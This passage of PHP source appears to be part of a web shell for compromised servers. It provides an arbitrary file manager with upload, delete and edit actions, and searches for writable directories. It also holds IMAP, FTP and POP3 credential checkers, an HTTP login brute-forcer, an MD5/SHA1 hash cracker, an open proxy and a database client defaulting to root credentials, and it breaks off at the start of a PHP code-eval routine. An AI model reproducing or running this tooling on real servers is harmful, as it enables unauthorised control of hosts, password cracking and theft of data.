| 700 | $dis='Rename';
|
|---|
| 701 | }
|
|---|
| 702 | if(!!empty($_REQUEST['deS'])){
|
|---|
| 703 | echo "<center><table border=0 style='border-collapse: collapse' width='40%'><tr><td width='100%' bgcolor='#333333'>$title:</td></tr><tr>$td1n<form method='POST'><input type=text value='";if(empty($_REQUEST['rN']))echo $cwd;echo "' size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value='".htmlspecialchars($ad)."' name=cp><input class=buttons type=submit value=$dis></form>$et</center>";
|
|---|
| 704 | }else{
|
|---|
| 705 | if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
|
|---|
| 706 | else{
|
|---|
| 707 | copy($ad,$_REQUEST['deS']);
|
|---|
| 708 | if(!empty($_REQUEST['mV']))unlink($ad);
|
|---|
| 709 | }
|
|---|
| 710 | }
|
|---|
| 711 | }
|
|---|
| 712 | if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
|
|---|
| 713 | if(!empty($_FILES['uploadfile'])){
|
|---|
| 714 | move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
|
|---|
| 715 | echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>";
|
|---|
| 716 | }
|
|---|
| 717 | $select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
|
|---|
| 718 | if(!empty($_REQUEST['newf'])){
|
|---|
| 719 | if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
|
|---|
| 720 | if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
|
|---|
| 721 | }
|
|---|
| 722 | if($windows){
|
|---|
| 723 | echo "$table<td><b>Drives:</b> ";
|
|---|
| 724 | for($i=66;$i<=90;$i++){$drive=chr($i).':';
|
|---|
| 725 | if(is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title='$vol' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}
|
|---|
| 726 | }
|
|---|
| 727 | echo $et;
|
|---|
| 728 | }
|
|---|
| 729 | echo "$table<form method='POST'><tr><td width='20%'><b>[ <a id='lk' style='text-decoration:none' href='#' onClick=\"HS('div');\">-</a> ] Location:</b><input type=text name=workingdiR size=135 value='$cwd'><input class=buttons type=submit value=Change></form>$et";
|
|---|
| 730 | $file=$dir=$link=array();
|
|---|
| 731 | if($dirhandle=opendir($cwd)){
|
|---|
| 732 | while($cont=readdir($dirhandle)){
|
|---|
| 733 | if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
|
|---|
| 734 | elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
|
|---|
| 735 | else $link[]=$cont;
|
|---|
| 736 | }
|
|---|
| 737 | closedir($dirhandle);
|
|---|
| 738 | sort($file);sort($dir);sort($link);
|
|---|
| 739 | echo "<div id='div'><table border=1 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bordercolor='#282828' bgcolor='#333333' width='100%'><tr><td width='30%' bgcolor='#333333' align='center'>Name</td><td width='13%' bgcolor='#333333' align='center'>Owner</td><td width='12%' bgcolor='#333333' align='center'>Modification time</td><td width='12%' bgcolor='#333333' align='center'>Last change</td><td width='5%' bgcolor='#333333' align='center'>Info</td><td width='7%' bgcolor='#333333' align='center'>Size</td><td width='15%' bgcolor='#333333' align='center'>Actions</td></tr>";
|
|---|
| 740 | $i=0;
|
|---|
| 741 | foreach($dir as $dn){
|
|---|
| 742 | echo '<tr>';
|
|---|
| 743 | $i++;
|
|---|
| 744 | $own='Unknow';
|
|---|
| 745 | $owner=posix_getpwuid(fileowner($dn));
|
|---|
| 746 | $mdate=date('Y/m/d H:i:s',filemtime($dn));
|
|---|
| 747 | $adate=date('Y/m/d H:i:s',fileatime($dn));
|
|---|
| 748 | $diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
|
|---|
| 749 | if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
|
|---|
| 750 | if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
|
|---|
| 751 | if(is_writeable($dn))echo $tdw;elseif(!is_readable($dn))echo $tdnr;else echo $cl2;
|
|---|
| 752 | echo "<a href='".hlinK('seC=fm&workingdiR='.realpath($dn))."'>";
|
|---|
| 753 | if(strlen($dn)>45)echo substr($dn,0,42).'...';else echo $dn;echo '</a>';
|
|---|
| 754 | echo $cl1."$own</td>";
|
|---|
| 755 | echo $cl1."$mdate</td>";
|
|---|
| 756 | echo $cl1."$adate</td>";
|
|---|
| 757 | echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
|
|---|
| 758 | echo "$cl1------</td>";
|
|---|
| 759 | echo $cl2.$diraction;
|
|---|
| 760 | echo '</tr>';
|
|---|
| 761 | }
|
|---|
| 762 | foreach($file as $fn){
|
|---|
| 763 | echo '<tr>';
|
|---|
| 764 | $i++;
|
|---|
| 765 | $own='Unknow';
|
|---|
| 766 | $owner=posix_getpwuid(fileowner($fn));
|
|---|
| 767 | $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
|
|---|
| 768 | $mdate=date('Y/m/d H:i:s',filemtime($fn));
|
|---|
| 769 | $adate=date('Y/m/d H:i:s',fileatime($fn));
|
|---|
| 770 | if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
|
|---|
| 771 | $size=showsizE(filesize($fn));
|
|---|
| 772 | if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
|
|---|
| 773 | if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2;
|
|---|
| 774 | echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>";
|
|---|
| 775 | if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>';
|
|---|
| 776 | echo $cl1."$own</td>";
|
|---|
| 777 | echo $cl1."$mdate</td>";
|
|---|
| 778 | echo $cl1."$adate</td>";
|
|---|
| 779 | echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
|
|---|
| 780 | echo "$cl1$size</td>";
|
|---|
| 781 | echo $cl2.$fileaction;
|
|---|
| 782 | echo '</tr>';
|
|---|
| 783 | }
|
|---|
| 784 | foreach($link as $ln){
|
|---|
| 785 | $own='Unknow';
|
|---|
| 786 | $i++;
|
|---|
| 787 | $owner=posix_getpwuid(fileowner($ln));
|
|---|
| 788 | $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
|
|---|
| 789 | $mdate=date('Y/m/d H:i:s',filemtime($ln));
|
|---|
| 790 | $adate=date('Y/m/d H:i:s',fileatime($ln));
|
|---|
| 791 | if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
|
|---|
| 792 | echo '<tr>';
|
|---|
| 793 | $size=showsizE(filesize($ln));
|
|---|
| 794 | if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;}
|
|---|
| 795 | if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2;
|
|---|
| 796 | echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>";
|
|---|
| 797 | if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>';
|
|---|
| 798 | echo $cl1."$own</td>";
|
|---|
| 799 | echo $cl1."$mdate</td>";
|
|---|
| 800 | echo $cl1."$adate</td>";
|
|---|
| 801 | echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
|
|---|
| 802 | echo "$cl1$size</td>";
|
|---|
| 803 | echo $cl2.$linkaction;
|
|---|
| 804 | echo '</tr>';
|
|---|
| 805 | }
|
|---|
| 806 | }
|
|---|
| 807 | $dc=count($dir)-2;
|
|---|
| 808 | if($dc==-2)$dc=0;
|
|---|
| 809 | $fc=count($file);
|
|---|
| 810 | $lc=count($link);
|
|---|
| 811 | $total=$dc+$fc+$lc;
|
|---|
| 812 | echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo "$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</form>$et$et";
|
|---|
| 813 | }
|
|---|
| 814 | }
|
|---|
| 815 | function imapchecK($host,$username,$password,$timeout){
|
|---|
| 816 | $sock=fsockopen($host,143,$n,$s,$timeout);
|
|---|
| 817 | $b=uniqid('NJ');
|
|---|
| 818 | $l=strlen($b);
|
|---|
| 819 | if(!$sock)return -1;
|
|---|
| 820 | fread($sock,1024);
|
|---|
| 821 | fputs($sock,"$b LOGIN $username $password\r\n");
|
|---|
| 822 | $res=fgets($sock,$l+4);
|
|---|
| 823 | fclose($sock);
|
|---|
| 824 | if($res=="$b OK")return 1;else return 0;
|
|---|
| 825 | }
|
|---|
| 826 | function ftpchecK($host,$username,$password,$timeout){
|
|---|
| 827 | $ftp=ftp_connect($host,21,$timeout);
|
|---|
| 828 | if(!$ftp)return -1;
|
|---|
| 829 | $con=ftp_login($ftp,$username,$password);
|
|---|
| 830 | if($con)return 1;else return 0;
|
|---|
| 831 | }
|
|---|
| 832 | function pop3checK($server,$user,$pass,$timeout){
|
|---|
| 833 | $sock=fsockopen($server,110,$en,$es,$timeout);
|
|---|
| 834 | if(!$sock)return -1;
|
|---|
| 835 | fread($sock,1024);
|
|---|
| 836 | fwrite($sock,"user $user\n");
|
|---|
| 837 | $r=fgets($sock);
|
|---|
| 838 | if($r{0}=='-')return 0;
|
|---|
| 839 | fwrite($sock,"pass $pass\n");
|
|---|
| 840 | $r=fgets($sock);
|
|---|
| 841 | fclose($sock);
|
|---|
| 842 | if($r{0}=='+')return 1;
|
|---|
| 843 | return 0;
|
|---|
| 844 | }
|
|---|
| 845 | function formcrackeR(){
|
|---|
| 846 | global $errorbox,$footer,$et,$hcwd;
|
|---|
| 847 | if(!empty($_REQUEST['start'])){
|
|---|
| 848 | if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
|
|---|
| 849 | $url=$_REQUEST['target'];
|
|---|
| 850 | $uf=$_REQUEST['userf'];
|
|---|
| 851 | $pf=$_REQUEST['passf'];
|
|---|
| 852 | $sf=$_REQUEST['submitf'];
|
|---|
| 853 | $sv=$_REQUEST['submitv'];
|
|---|
| 854 | $method=$_REQUEST['method'];
|
|---|
| 855 | $fail=$_REQUEST['fail'];
|
|---|
| 856 | $dic=$_REQUEST['dictionary'];
|
|---|
| 857 | $type=$_REQUEST['combo'];
|
|---|
| 858 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
|
|---|
| 859 | if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer");
|
|---|
| 860 | $dictionary=fopen($dic,'r');
|
|---|
| 861 | echo '<font color=blue>Cracking started...<br>';
|
|---|
| 862 | while(!feof($dictionary)){
|
|---|
| 863 | if($type){
|
|---|
| 864 | $combo=trim(fgets($dictionary)," \n\r");
|
|---|
| 865 | $user=substr($combo,0,strpos($combo,':'));
|
|---|
| 866 | $pass=substr($combo,strpos($combo,':')+1);
|
|---|
| 867 | }else{
|
|---|
| 868 | $pass=trim(fgets($dictionary)," \n\r");
|
|---|
| 869 | }
|
|---|
| 870 | $url.="?$uf=$user&$pf=$pass&$sf=$sv";
|
|---|
| 871 | $res=check_urL($url,$method,$fail,12);
|
|---|
| 872 | if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;}
|
|---|
| 873 | }
|
|---|
| 874 | fclose($dictionary);
|
|---|
| 875 | echo 'Done!</font><br>';
|
|---|
| 876 | }
|
|---|
| 877 | else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>";
|
|---|
| 878 | }
|
|---|
| 879 | function hashcrackeR(){
|
|---|
| 880 | global $errorbox,$t,$et,$hcwd;
|
|---|
| 881 | if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
|
|---|
| 882 | if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
|
|---|
| 883 | $dictionary=fopen($_REQUEST['dictionary'],'r');
|
|---|
| 884 | if($dictionary){
|
|---|
| 885 | $hash=strtoupper($_REQUEST['hash']);
|
|---|
| 886 | echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
|
|---|
| 887 | $type=($_REQUEST['type']=='MD5')?'md5':'sha1';
|
|---|
| 888 | while(!feof($dictionary)){
|
|---|
| 889 | $word=trim(fgets($dictionary)," \n\r");
|
|---|
| 890 | if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;}
|
|---|
| 891 | }
|
|---|
| 892 | echo 'Done!</font>';
|
|---|
| 893 | fclose($dictionary);
|
|---|
| 894 | }
|
|---|
| 895 | else{
|
|---|
| 896 | echo "$errorbox Can not open dictionary.$et";
|
|---|
| 897 | }
|
|---|
| 898 | }
|
|---|
| 899 | echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
|
|---|
| 900 | }
|
|---|
| 901 | function pr0xy(){
|
|---|
| 902 | global $errorbox,$et,$footer,$hcwd;
|
|---|
| 903 | echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et";
|
|---|
| 904 | if(!empty($_REQUEST['urL'])){
|
|---|
| 905 | $dir='';
|
|---|
| 906 | $u=parse_url($_REQUEST['urL']);
|
|---|
| 907 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
|
|---|
| 908 | if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/')));
|
|---|
| 909 | $url=fsockopen($host,80,$en,$es,12);
|
|---|
| 910 | if(!$url)die("<br>$errorbox Can not connect to host!$et$footer");
|
|---|
| 911 | fputs($url,"GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
|
|---|
| 912 | $con='';
|
|---|
| 913 | while($con!="\r\n")$con=fgets($url);
|
|---|
| 914 | while(!feof($url))$con.=fgets($url);
|
|---|
| 915 | fclose($url);
|
|---|
| 916 | $s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
|
|---|
| 917 | $con=replace_stR($s,$con);
|
|---|
| 918 | echo $con;
|
|---|
| 919 | }
|
|---|
| 920 | }
|
|---|
| 921 | function sqlclienT(){
|
|---|
| 922 | global $t,$errorbox,$et,$hcwd;
|
|---|
| 923 | if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
|
|---|
| 924 | $server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
|
|---|
| 925 | $db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
|
|---|
| 926 | $res=querY($type,$server,$user,$pass,$db,$query);
|
|---|
| 927 | if($res){
|
|---|
| 928 | $res=str_replace('|-|-|-|-|-|','</td><td>',$res);
|
|---|
| 929 | $res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res);
|
|---|
| 930 | $r=explode('[+][+][+]',$res);
|
|---|
| 931 | $r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]);
|
|---|
| 932 | echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>";
|
|---|
| 933 | }
|
|---|
| 934 | else{
|
|---|
| 935 | echo "$errorbox Failed!$et<br>";
|
|---|
| 936 | }
|
|---|
| 937 | }
|
|---|
| 938 | if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
|
|---|
| 939 | echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>";
|
|---|
| 940 | }
|
|---|
| 941 | function querY($type,$host,$user,$pass,$db='',$query){
|
|---|
| 942 | $res='';
|
|---|
| 943 | switch($type){
|
|---|
| 944 | case 'MySQL':
|
|---|
| 945 | if(!function_exists('mysql_connect'))return 0;
|
|---|
| 946 | $link=mysql_connect($host,$user,$pass);
|
|---|
| 947 | if($link){
|
|---|
| 948 | if(!empty($db))mysql_select_db($db,$link);
|
|---|
| 949 | $result=mysql_query($query,$link);
|
|---|
| 950 | while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
|
|---|
| 951 | $res.='[+][+][+]';
|
|---|
| 952 | for($i=0;$i<mysql_num_fields($result);$i++)
|
|---|
| 953 | $res.=mysql_field_name($result,$i).'[-][-][-]';
|
|---|
| 954 | mysql_close($link);
|
|---|
| 955 | return $res;
|
|---|
| 956 | }
|
|---|
| 957 | break;
|
|---|
| 958 | case 'MSSQL':
|
|---|
| 959 | if(!function_exists('mssql_connect'))return 0;
|
|---|
| 960 | $link=mssql_connect($host,$user,$pass);
|
|---|
| 961 | if($link){
|
|---|
| 962 | if(!empty($db))mssql_select_db($db,$link);
|
|---|
| 963 | $result=mssql_query($query,$link);
|
|---|
| 964 | while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
|
|---|
| 965 | $res.='[+][+][+]';
|
|---|
| 966 | for($i=0;$i<mssql_num_fields($result);$i++)
|
|---|
| 967 | $res.=mssql_field_name($result,$i).'[-][-][-]';
|
|---|
| 968 | mssql_close($link);
|
|---|
| 969 | return $res;
|
|---|
| 970 | }
|
|---|
| 971 | break;
|
|---|
| 972 | case 'Oracle':
|
|---|
| 973 | if(!function_exists('ocilogon'))return 0;
|
|---|
| 974 | $link=ocilogon($user,$pass,$db);
|
|---|
| 975 | if($link){
|
|---|
| 976 | $stm=ociparse($link,$query);
|
|---|
| 977 | ociexecute($stm,OCI_DEFAULT);
|
|---|
| 978 | while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
|
|---|
| 979 | $res.='[+][+][+]';
|
|---|
| 980 | for($i=0;$i<oci_num_fields($stm);$i++)
|
|---|
| 981 | $res.=oci_field_name($stm,$i).'[-][-][-]';
|
|---|
| 982 | return $res;
|
|---|
| 983 | }
|
|---|
| 984 | break;
|
|---|
| 985 | case 'PostgreSQL':
|
|---|
| 986 | if(!function_exists('pg_connect'))return 0;
|
|---|
| 987 | $link=pg_connect("host=$host dbname=$db user=$user password=$pass");
|
|---|
| 988 | if($link){
|
|---|
| 989 | $result=pg_query($link,$query);
|
|---|
| 990 | while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
|
|---|
| 991 | $res.='[+][+][+]';
|
|---|
| 992 | for($i=0;$i<pg_num_fields($result);$i++)
|
|---|
| 993 | $res.=pg_field_name($result,$i).'[-][-][-]';
|
|---|
| 994 | pg_close($link);
|
|---|
| 995 | return $res;
|
|---|
| 996 | }
|
|---|
| 997 | break;
|
|---|
| 998 | }
|
|---|
| 999 | return 0;
|
|---|
| 1000 | }
|
|---|
| 1001 | function phpevaL(){
|
|---|
| 1002 | global $t,$hcwd,$et;
|
|---|
| 1003 | echo '<center>';
|
|---|
| 1004 | if(!empty($_REQUEST['code'])){
|
|---|
| 1005 | $s=array('<?php'=>'','<?'=>'','?>'=>'');
|
|---|
